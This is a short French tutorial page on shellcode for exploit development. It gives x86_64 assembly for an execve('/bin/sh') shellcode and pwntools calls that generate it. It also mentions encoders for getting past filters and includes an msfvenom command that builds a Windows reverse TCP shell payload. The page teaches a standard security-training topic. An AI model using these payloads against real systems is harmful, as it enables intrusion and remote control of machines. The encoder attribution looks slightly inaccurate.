Shellcode — Code machine injectable
★★★★★
Qu'est-ce qu'un shellcode ?
Un shellcode est une séquence d'octets correspondant à des instructions assembleur conçues pour être injectées dans un processus. Le plus classique : exécuter /bin/sh. N'est utile que si NX est désactivé (stack exécutable) ou si on peut écrire dans une zone exécutable.
Shellcode Linux x64 : execve /bin/sh
; execve("/bin/sh", NULL, NULL) en assembleur x86_64
bits 64
xor rax, rax ; rax = 0
push rax ; terminer la chaîne "/bin/sh"
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" en little-endian
push rbx
mov rdi, rsp ; rdi = pointeur vers "/bin/sh"
xor rsi, rsi ; rsi = NULL (argv)
xor rdx, rdx ; rdx = NULL (envp)
mov al, 59 ; syscall number : execve = 59
syscall
; Version compilée (pwntools)
from pwn import shellcraft, asm
print(asm(shellcraft.sh())) Trouver des shellcodes
# shellstorm.org : base de données de shellcodes
# pwntools : générateur intégré
asm(shellcraft.linux.sh())
asm(shellcraft.linux.amd64.sh())
# Shellcode alphanumeric (bypass filtres)
# PWNTOOLS shikatama_ga_nai encoder
# msfvenom pour Windows
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f raw